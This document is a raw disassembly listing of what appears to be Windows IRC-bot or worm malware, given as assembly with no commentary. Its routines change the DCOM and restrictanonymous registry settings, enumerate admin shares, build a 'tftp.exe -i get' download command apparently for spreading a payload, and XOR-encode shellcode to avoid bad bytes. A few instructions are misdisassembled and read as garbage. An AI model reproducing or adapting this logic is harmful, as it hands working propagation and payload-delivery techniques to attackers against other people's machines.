loc_4147CB: ; CODE XREF: seg000:00414782j
push offset unk_437804
jmp short loc_4147D7
; ---------------------------------------------------------------------------
loc_4147D2: ; CODE XREF: seg000:004146B3j
push offset unk_4377C0
loc_4147D7: ; CODE XREF: seg000:004147D0j
lea eax, [ebp-214h]
push eax
call sub_4154CD
pop ecx
pop ecx
loc_4147E5: ; CODE XREF: seg000:004147C9j
cmp [ebp+14h], edi
jnz short loc_414804
push 1
lea eax, [ebp-214h]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_412D32
add esp, 14h
loc_414804: ; CODE XREF: seg000:004147E8j
lea eax, [ebp-214h]
push eax
call sub_40B151
cmp ds:dword_43A470, edi
pop ecx
jnz loc_41497F
push ebx
mov [ebp-4], edi
mov [ebp-14h], edi
mov [ebp-0Ch], edi
loc_414827: ; CODE XREF: seg000:00414963j
lea eax, [ebp-0Ch]
push eax
lea eax, [ebp-14h]
push eax
lea eax, [ebp-4]
push eax
lea eax, [ebp-8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call ds:dword_43A2C4
cmp eax, edi
mov [ebp-10h], eax
jz short loc_4148C4
cmp eax, 0EAh
jz short loc_4148C4
mov esi, offset off_437610
loc_414858: ; CODE XREF: seg000:004148BDj
push dword ptr [esi]
push edi
call sub_413383
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_41486F
push offset unk_437788
jmp short loc_414874
; ---------------------------------------------------------------------------
loc_41486F: ; CODE XREF: seg000:00414866j
push offset unk_437748
loc_414874: ; CODE XREF: seg000:0041486Dj
lea eax, [ebp-214h]
push 200h
push eax
call sub_415A4A
add esp, 10h
cmp [ebp+14h], edi
jnz short loc_4148A7
push 1
lea eax, [ebp-214h]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_412D32
add esp, 14h
loc_4148A7: ; CODE XREF: seg000:0041488Bj
lea eax, [ebp-214h]
push eax
call sub_40B151
add esi, 8
pop ecx
cmp esi, offset dword_437630
jl short loc_414858
jmp loc_41495C
; ---------------------------------------------------------------------------
loc_4148C4: ; CODE XREF: seg000:0041484Aj
; seg000:00414851j
mov esi, [ebp-8]
push 1
pop ebx
cmp [ebp-4], ebx
jb loc_414953
loc_4148D3: ; CODE XREF: seg000:0041494Fj
mov edi, [esi]
push edi
call sub_4179BC
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_414948
push edi
call sub_413270
push eax
push 0
call sub_413383
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_414902
push offset unk_437710
jmp short loc_414907
; ---------------------------------------------------------------------------
loc_414902: ; CODE XREF: seg000:004148F9j
push offset unk_4376D0
loc_414907: ; CODE XREF: seg000:00414900j
lea eax, [ebp-214h]
push 200h
push eax
call sub_415A4A
add esp, 10h
cmp dword ptr [ebp+14h], 0
jnz short loc_41493B
push 1
lea eax, [ebp-214h]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_412D32
add esp, 14h
loc_41493B: ; CODE XREF: seg000:0041491Fj
lea eax, [ebp-214h]
push eax
call sub_40B151
pop ecx
loc_414948: ; CODE XREF: seg000:004148E2j
add esi, 28h
inc ebx
cmp ebx, [ebp-4]
jbe short loc_4148D3
xor edi, edi
loc_414953: ; CODE XREF: seg000:004148CDj
push dword ptr [ebp-8]
call ds:dword_43A408
loc_41495C: ; CODE XREF: seg000:004148BFj
cmp dword ptr [ebp-10h], 0EAh
jz loc_414827
lea eax, [ebp-214h]
push offset unk_437694
push eax
call sub_4154CD
pop ecx
pop ecx
pop ebx
jmp short loc_414992
; ---------------------------------------------------------------------------
loc_41497F: ; CODE XREF: seg000:00414817j
lea eax, [ebp-214h]
push offset unk_437650
push eax
call sub_4154CD
pop ecx
pop ecx
loc_414992: ; CODE XREF: seg000:0041497Dj
cmp [ebp+14h], edi
jnz short loc_4149B0
push edi
lea eax, [ebp-214h]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_412D32
add esp, 14h
loc_4149B0: ; CODE XREF: seg000:00414995j
lea eax, [ebp-214h]
push eax
call sub_40B151
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4149C4 proc near ; CODE XREF: sub_414640:loc_414687p
var_3BA7640 = byte ptr -3BA7640h
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp ds:dword_43A448, ebx
push esi
jnz loc_414AF2
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call ds:dword_43A3E8 ; RegOpenKeyExA
test eax, eax
jnz short loc_414A4F
mov ax, ds:word_437BC0
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call ds:dword_43A39C ; RegSetValueExA
test eax, eax
jz short loc_414A31
push offset unk_437B88
jmp short loc_414A36
; ---------------------------------------------------------------------------
loc_414A31: ; CODE XREF: sub_4149C4+64j
push offset dword_437B58
loc_414A36: ; CODE XREF: sub_4149C4+6Bj
lea eax, [ebp+var_220]
push eax
call sub_4154CD
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_43A354 ; RegCloseKey
jmp short loc_414A62
; ---------------------------------------------------------------------------
loc_414A4F: ; CODE XREF: sub_4149C4+36j
lea eax, [ebp+var_220]
push offset unk_437900
push eax
call sub_4154CD
pop ecx
pop ecx
loc_414A62: ; CODE XREF: sub_4149C4+89j
cmp [ebp+arg_C], ebx
jnz short loc_414A81
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D32
add esp, 14h
loc_414A81: ; CODE XREF: sub_4149C4+A1j
lea eax, [ebp+var_220]
push eax
call sub_40B151
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call ds:dword_43A3E8 ; RegOpenKeyExA
test eax, eax
jnz short loc_414AEB
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call ds:dword_43A39C ; RegSetValueExA
test eax, eax
jz short loc_414ACD
push offset unk_437B08
jmp short loc_414AD2
; ---------------------------------------------------------------------------
loc_414ACD: ; CODE XREF: sub_4149C4+100j
push offset unk_437AC0
loc_414AD2: ; CODE XREF: sub_4149C4+107j
lea eax, [ebp+var_220]
push eax
call sub_4154CD
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_43A354 ; RegCloseKey
jmp short loc_414B05
; ---------------------------------------------------------------------------
loc_414AEB: ; CODE XREF: sub_4149C4+E2j
push offset unk_437A70
jmp short loc_414AF7
; ---------------------------------------------------------------------------
loc_414AF2: ; CODE XREF: sub_4149C4+13j
push offset unk_4377C0
loc_414AF7: ; CODE XREF: sub_4149C4+12Cj
lea eax, [ebp+var_220]
push eax
call sub_4154CD
pop ecx
pop ecx
loc_414B05: ; CODE XREF: sub_4149C4+125j
cmp [ebp+arg_C], ebx
jnz short loc_414B24
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D32
add esp, 14h
loc_414B24: ; CODE XREF: sub_4149C4+144j
lea eax, [ebp+var_220]
push eax
call sub_40B151
cmp ds:dword_43A470, ebx
pop ecx
jnz loc_414C96
push edi
mov esi, offset off_437610
mov edi, 200h
loc_414B48: ; CODE XREF: sub_4149C4+1E9j
push dword ptr [esi+4]
push dword ptr [esi]
push ebx
call sub_4132D7
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_414B63
push offset unk_437A3C
jmp short loc_414B68
; ---------------------------------------------------------------------------
loc_414B63: ; CODE XREF: sub_4149C4+196j
push offset unk_437A00
loc_414B68: ; CODE XREF: sub_4149C4+19Dj
lea eax, [ebp+var_220]
push edi
push eax
call sub_415A4A
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_414B97
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D32
add esp, 14h
loc_414B97: ; CODE XREF: sub_4149C4+1B7j
lea eax, [ebp+var_220]
push eax
call sub_40B151
add esi, 8
pop ecx
cmp esi, offset off_437620
jl short loc_414B48
call near ptr 3D0000h
xchg al, [ebp+var_3BA7640]
mov bl, 41h
jz loc_414C7E
loc_414BC2: ; CODE XREF: sub_4149C4+2B4j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_414C73
cmp bl, 41h
jz loc_414C73
movsx esi, bl
push esi
push offset aC_3 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_415A4A
push esi
push offset aC_2 ; "%c:\\"
lea eax, [ebp+var_20]
push 0Ah
push eax
call sub_415A4A
add esp, 20h
lea eax, [ebp+var_20]
push eax
call ds:dword_43A3D8 ; GetDriveTypeA
cmp eax, 3
jnz short loc_414C73
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_4132D7
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
jnz short loc_414C31
push offset unk_437A3C
jmp short loc_414C36
; ---------------------------------------------------------------------------
loc_414C31: ; CODE XREF: sub_4149C4+264j
push offset unk_437A00
loc_414C36: ; CODE XREF: sub_4149C4+26Bj
lea eax, [ebp+var_220]
push edi
push eax
call sub_415A4A
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_414C66
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D32
add esp, 14h
loc_414C66: ; CODE XREF: sub_4149C4+286j
lea eax, [ebp+var_220]
push eax
call sub_40B151
pop ecx
loc_414C73: ; CODE XREF: sub_4149C4+206j
; sub_4149C4+20Fj ...
inc bl
shr [ebp+var_4], 1
jnz loc_414BC2
loc_414C7E: ; CODE XREF: sub_4149C4+1F8j
lea eax, [ebp+var_220]
push offset unk_4379BC
push eax
call sub_4154CD
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_414CA9
; ---------------------------------------------------------------------------
loc_414C96: ; CODE XREF: sub_4149C4+173j
lea eax, [ebp+var_220]
push offset unk_437650
push eax
call sub_4154CD
pop ecx
pop ecx
loc_414CA9: ; CODE XREF: sub_4149C4+2D0j
cmp [ebp+arg_C], ebx
jnz short loc_414CC7
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D32
add esp, 14h
loc_414CC7: ; CODE XREF: sub_4149C4+2E8j
lea eax, [ebp+var_220]
push eax
call sub_40B151
pop ecx
push 1
pop eax
pop esi
pop ebx
leave
retn
sub_4149C4 endp
; =============== S U B R O U T I N E =======================================
sub_414CDB proc near ; CODE XREF: sub_414CFB+Ap
; sub_414DD3+8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_415CD0
push [esp+8+arg_4]
mov esi, eax
call sub_415CD0
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_414CDB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414CFB proc near ; CODE XREF: sub_414DEA+49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
call sub_414CDB
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_414D18
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_414D18: ; CODE XREF: sub_414CFB+17j
push ebx
push esi
push edi
push [ebp+arg_8]
call sub_415CD0
push [ebp+arg_C]
mov esi, eax
call sub_415CD0
mov edi, eax
mov ebx, [ebp+arg_0]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov ds:dword_437C58, eax
lea eax, [edi+1]
mov ds:dword_437C79, eax
lea eax, [edi+17h]
mov ds:dword_437C71, eax
pop eax
push 74h
sub eax, edi
push offset dword_437BF4
push ebx
mov ds:dword_437C87, eax
call sub_4155B0
push esi
lea eax, [ebx+74h]
push [ebp+arg_8]
push eax
call sub_4155B0
add esi, 74h
push 5
push (offset aTftp_exeIGet+0Ch)
lea eax, [esi+ebx]
push eax
call sub_4155B0
add esi, 5
push edi
push [ebp+arg_C]
lea eax, [esi+ebx]
push eax
call sub_4155B0
add esi, edi
push 10h
push (offset aTftp_exeIGet+11h)
lea eax, [esi+ebx]
push eax
call sub_4155B0
add esp, 44h
add esi, 10h
push edi
lea eax, [esi+ebx]
push [ebp+arg_C]
push eax
call sub_4155B0
add esi, edi
push 38h
add esi, ebx
push offset byte_437C7D
push esi
call sub_4155B0
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_414CFB endp
; =============== S U B R O U T I N E =======================================
sub_414DD3 proc near ; CODE XREF: sub_414DEA+Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_414CDB
push eax
call sub_414E57
add esp, 0Ch
retn
sub_414DD3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414DEA proc near ; CODE XREF: sub_403178+32p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
push edi
mov edi, [ebp+arg_C]
push edi
push ebx
call sub_414DD3
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
ja short loc_414E0A
cmp eax, 0FFFFh
jbe short loc_414E0E
loc_414E0A: ; CODE XREF: sub_414DEA+17j
xor eax, eax
jmp short loc_414E53
; ---------------------------------------------------------------------------
loc_414E0E: ; CODE XREF: sub_414DEA+1Ej
push esi
push edi
push ebx
call sub_414CDB
add eax, 101h
push eax
call sub_415DA9
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_414CDB
pop ecx
pop ecx
push eax
push esi
call sub_414CFB
push eax
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_414E72
push esi
mov edi, eax
call sub_415E1D
add esp, 24h
mov eax, edi
pop esi
loc_414E53: ; CODE XREF: sub_414DEA+22j
pop edi
pop ebx
pop ebp
retn
sub_414DEA endp
; =============== S U B R O U T I N E =======================================
sub_414E57 proc near ; CODE XREF: sub_414DD3+Ep
; sub_414E72+4Ap
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_414E60
inc ecx
loc_414E60: ; CODE XREF: sub_414E57+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_414E57 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414E72 proc near ; CODE XREF: sub_414DEA+56p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
cmp byte ptr [ebp+arg_C], 0Ah
jz short loc_414E8E
cmp byte ptr [ebp+arg_C], 0Dh
jz short loc_414E8E
cmp byte ptr [ebp+arg_C], 5Ch
jz short loc_414E8E
cmp byte ptr [ebp+arg_C], 0
jnz short loc_414E91
loc_414E8E: ; CODE XREF: sub_414E72+8j
; sub_414E72+Ej ...
inc [ebp+arg_C]
loc_414E91: ; CODE XREF: sub_414E72+1Aj
push esi
mov esi, 0FFh
cmp [ebp+arg_C], esi
jbe short loc_414EB9
mov eax, [ebp+arg_C]
shr eax, 8
cmp al, 0Ah
jz short loc_414EB2
cmp al, 0Dh
jz short loc_414EB2
cmp al, 5Ch
jz short loc_414EB2
test al, al
jnz short loc_414EB9
loc_414EB2: ; CODE XREF: sub_414E72+32j
; sub_414E72+36j ...
add [ebp+arg_C], 100h
loc_414EB9: ; CODE XREF: sub_414E72+28j
; sub_414E72+3Ej
push [ebp+arg_C]
call sub_414E57
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_414ED1
cmp eax, 0FFFFh
jbe short loc_414ED8
loc_414ED1: ; CODE XREF: sub_414E72+56j
xor eax, eax
jmp loc_414F76
; ---------------------------------------------------------------------------
loc_414ED8: ; CODE XREF: sub_414E72+5Dj
mov ecx, [ebp+arg_C]
push ebx
mov bl, ds:byte_469448
xor edx, edx
push edi
mov edi, [ebp+arg_8]
test ecx, ecx
jbe short loc_414F08
loc_414EEC: ; CODE XREF: sub_414E72+94j
mov al, [edx+edi]
xor al, bl
jz short loc_414EFF
cmp al, 0Ah
jz short loc_414EFF
cmp al, 0Dh
jz short loc_414EFF
cmp al, 5Ch
jnz short loc_414F03
loc_414EFF: ; CODE XREF: sub_414E72+7Fj
; sub_414E72+83j ...
inc bl
xor edx, edx
loc_414F03: ; CODE XREF: sub_414E72+8Bj
inc edx
cmp edx, ecx
jb short loc_414EEC
loc_414F08: ; CODE XREF: sub_414E72+78j
cmp ecx, esi
mov ds:byte_469448, bl
ja short loc_414F34
push 15h
push offset loc_437BDC
push [ebp+arg_0]
mov ds:byte_437BE9, cl
mov ds:byte_437BED, bl
call sub_4155B0
add esp, 0Ch
push 15h
jmp short loc_414F55
; ---------------------------------------------------------------------------
loc_414F34: ; CODE XREF: sub_414E72+9Ej
push 17h
push offset loc_437BC4
push [ebp+arg_0]
mov ds:word_437BD2, cx
mov ds:byte_437BD7, bl
call sub_4155B0
add esp, 0Ch
push 17h
loc_414F55: ; CODE XREF: sub_414E72+C0j
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_414F71
mov edx, [ebp+arg_0]
lea esi, [ecx+edx]
loc_414F63: ; CODE XREF: sub_414E72+FDj
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_414F63
loc_414F71: ; CODE XREF: sub_414E72+E9j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_414F76: ; CODE XREF: sub_414E72+61j
pop esi
leave
retn
sub_414E72 endp
; =============== S U B R O U T I N E =======================================
sub_414F79 proc near ; CODE XREF: sub_4060E4+220p
; seg000:00407576p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_43F308
loc_414F81: ; CODE XREF: sub_414F79+18j
cmp byte ptr [eax], 0
jz short loc_414F95
add eax, 234h
inc edi
cmp eax, offset dword_4687F8
jl short loc_414F81
jmp short loc_414FE0
; ---------------------------------------------------------------------------
loc_414F95: ; CODE XREF: sub_414F79+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_43F308[esi]
push eax
call sub_416D20
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov ds:dword_43F508[esi], eax
and ds:dword_43F50C[esi], 0
mov eax, [esp+8+arg_8]
and ds:dword_43F510[esi], 0
mov ds:dword_43F514[esi], eax
and ds:byte_43F520[esi], 0
pop esi
loc_414FE0: ; CODE XREF: sub_414F79+1Aj
mov eax, edi
pop edi
retn
sub_414F79 endp
; ---------------------------------------------------------------------------
dword_414FE4 dd 81EC8B55h, 98ECh, 8458B00h, 266A5756h, 8DF08B59h, 0FFFF68BDh
; DATA XREF: seg000:0041246Co
dd 0FFA5F3FFh, 80C7F075h, 94h, 1, 0FF6C858Dh, 75FFFFFFh
dd 0B5FF50F4h, 0FFFFFF68h, 15E8h, 0EC75FF00h, 26CE8h, 14C48300h
dd 0CDE8006Ah, 80FFFBAFh, 8B555E5Fh, 0EC81ECh, 56000002h
dd 0FF006A57h, 0B8681075h, 0FF00437Ch, 75FF0C75h, 0DCDCE808h
dd 0C483FFFFh, 0BEFF3314h, 43F308h, 74003E80h, 147D833Ch
dd 83097500h, 204BEh, 2D750000h, 858D5756h, 0FFFFFE00h
dd 435C7C68h, 46E85000h, 6A000004h, 858D01h, 0FFFFFFFEh
dd 0FF501075h, 75FF0C75h, 0DC94E808h, 0C483FFFFh, 34C68124h
dd 47000002h, 87F8FE81h, 0B07C0046h, 0C3C95E5Fh
; =============== S U B R O U T I N E =======================================
sub_4150B4 proc near ; CODE XREF: seg000:0041184Dp
; sub_415142+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_41513C
cmp esi, 12Ch
jge short loc_41513C
imul esi, 234h
push edi
push ebx
push ds:dword_43F51C[esi]
lea edi, dword_43F51C[esi]
call near ptr 3D0000h
jb short near ptr loc_41511B+4
pop ds
jz short loc_4150EC
push 1
pop ebp
loc_4150EC: ; CODE XREF: sub_4150B4+33j
mov [edi], ebx
lea edi, dword_43F510[esi]
mov ds:dword_43F508[esi], ebx
mov ds:dword_43F50C[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_41510D
push eax
call sub_414047
pop ecx
loc_41510D: ; CODE XREF: sub_4150B4+50j
mov [edi], ebx
lea edi, dword_43F514[esi]
mov byte ptr ds:dword_43F308[esi], bl
loc_41511B: ; CODE XREF: sub_4150B4+30j
mov ds:byte_43F520[esi], bl
push dword ptr [edi]
call ds:dword_43A410 ; closesocket
lea esi, dword_43F518[esi]
mov [edi], ebx
push dword ptr [esi]
call ds:dword_43A410 ; closesocket
mov [esi], ebx
pop edi
loc_41513C: ; CODE XREF: sub_4150B4+Dj
; sub_4150B4+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_4150B4 endp
; =============== S U B R O U T I N E =======================================
sub_415142 proc near ; CODE XREF: sub_409DF9:loc_409E1Dp
; seg000:0040C596p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_43F308
loc_41514E: ; CODE XREF: sub_415142+2Aj
cmp byte ptr [esi], 0
jz short loc_41515F
push edi
call sub_4150B4
test eax, eax
pop ecx
jz short loc_41515F
inc ebx
loc_41515F: ; CODE XREF: sub_415142+Fj
; sub_415142+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4687F8
jl short loc_41514E
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_415142 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415174 proc near ; CODE XREF: seg000:0040EB02p
; seg000:0040EB70p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_43F50C
loc_415188: ; CODE XREF: sub_415174+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_4151AA
test edi, edi
jle short loc_41519C
cmp [esi], edi
jz short loc_41519C
cmp ebx, edi
jnz short loc_4151AA
loc_41519C: ; CODE XREF: sub_415174+1Ej
; sub_415174+22j
push ebx
call sub_4150B4
test eax, eax
pop ecx
jz short loc_4151AA
inc [ebp+var_4]
loc_4151AA: ; CODE XREF: sub_415174+1Aj
; sub_415174+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4689FC
jl short loc_415188
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_415174 endp
; =============== S U B R O U T I N E =======================================
sub_4151C1 proc near ; CODE XREF: sub_4071E3+Bp
; seg000:00407287p ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_43F508
loc_4151C8: ; CODE XREF: sub_4151C1+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_4151D1
inc eax
loc_4151D1: ; CODE XREF: sub_4151C1+Dj
add ecx, 234h
cmp ecx, offset dword_4689F8
jl short loc_4151C8
retn
sub_4151C1 endp
; =============== S U B R O U T I N E =======================================
sub_4151E0 proc near ; CODE XREF: seg000:00411F26p
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_43F508
loc_4151EA: ; CODE XREF: sub_4151E0+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_415203
add ecx, 234h
inc edx
cmp ecx, offset dword_4689F8
jl short loc_4151EA
pop esi
retn
; ---------------------------------------------------------------------------
loc_415203: ; CODE XREF: sub_4151E0+10j
mov eax, edx
pop esi
retn
sub_4151E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415207 proc near ; CODE XREF: seg000:0040DE9Bp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_415220
push [ebp+arg_1C]
call sub_415A3F
pop ecx
loc_415220: ; CODE XREF: sub_415207+Ej
push eax
push [ebp+arg_18]
call sub_415174
pop ecx
test eax, eax
pop ecx
jle short loc_41524C
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"...
push eax
call sub_4154CD
add esp, 14h
jmp short loc_415266
; ---------------------------------------------------------------------------
loc_41524C: ; CODE XREF: sub_415207+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s: No %s thread found."
push eax
call sub_4154CD
add esp, 10h
loc_415266: ; CODE XREF: sub_415207+43j
cmp [ebp+arg_C], 0
jnz short loc_415286
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D32
add esp, 14h
loc_415286: ; CODE XREF: sub_415207+63j
lea eax, [ebp+var_200]
push eax
call sub_40B151
pop ecx
leave
retn
sub_415207 endp
; =============== S U B R O U T I N E =======================================
sub_415295 proc near ; CODE XREF: start+A2p
; seg000:004014D4p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov ds:dword_43F51C[eax], ecx
mov ds:dword_43F508[eax], ecx
mov ds:dword_43F50C[eax], ecx
mov ds:dword_43F510[eax], ecx
mov ds:dword_43F514[eax], ecx
mov ds:dword_43F518[eax], ecx
mov byte ptr ds:dword_43F308[eax], cl
mov ds:byte_43F520[eax], cl
retn
sub_415295 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4152D2 proc near ; CODE XREF: seg000:00412A31p
; sub_415400+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_4152DC: ; CODE XREF: sub_4152D2+68j
mov cl, [esi]
test cl, cl
jz short loc_41533C
cmp eax, 1
jnz short loc_41533C
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_41533C
cmp cl, 2Ah
jz short loc_415323
cmp cl, 3Fh
jz short loc_415306
cmp cl, 5Bh
jz short loc_41530B
xor eax, eax
cmp cl, dl
setz al
loc_415306: ; CODE XREF: sub_4152D2+26j
inc [ebp+arg_4]
jmp short loc_415336
; ---------------------------------------------------------------------------
loc_41530B: ; CODE XREF: sub_4152D2+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_415368
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_415336
; ---------------------------------------------------------------------------
loc_415323: ; CODE XREF: sub_4152D2+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_415400
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_415336: ; CODE XREF: sub_4152D2+37j
; sub_4152D2+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_4152DC
; ---------------------------------------------------------------------------
loc_41533C: ; CODE XREF: sub_4152D2+Ej
; sub_4152D2+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_41534C
cmp eax, 1
jnz short loc_415363
inc esi
mov [ebp+arg_0], esi
jmp short loc_41533C
; ---------------------------------------------------------------------------
loc_41534C: ; CODE XREF: sub_4152D2+6Dj
cmp eax, 1
jnz short loc_415363
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_415363
cmp byte ptr [esi], 0
jnz short loc_415363
push 1
pop eax
jmp short loc_415365
; ---------------------------------------------------------------------------
loc_415363: ; CODE XREF: sub_4152D2+72j
; sub_4152D2+7Dj ...
xor eax, eax
loc_415365: ; CODE XREF: sub_4152D2+8Fj
pop esi
pop ebp
retn
sub_4152D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
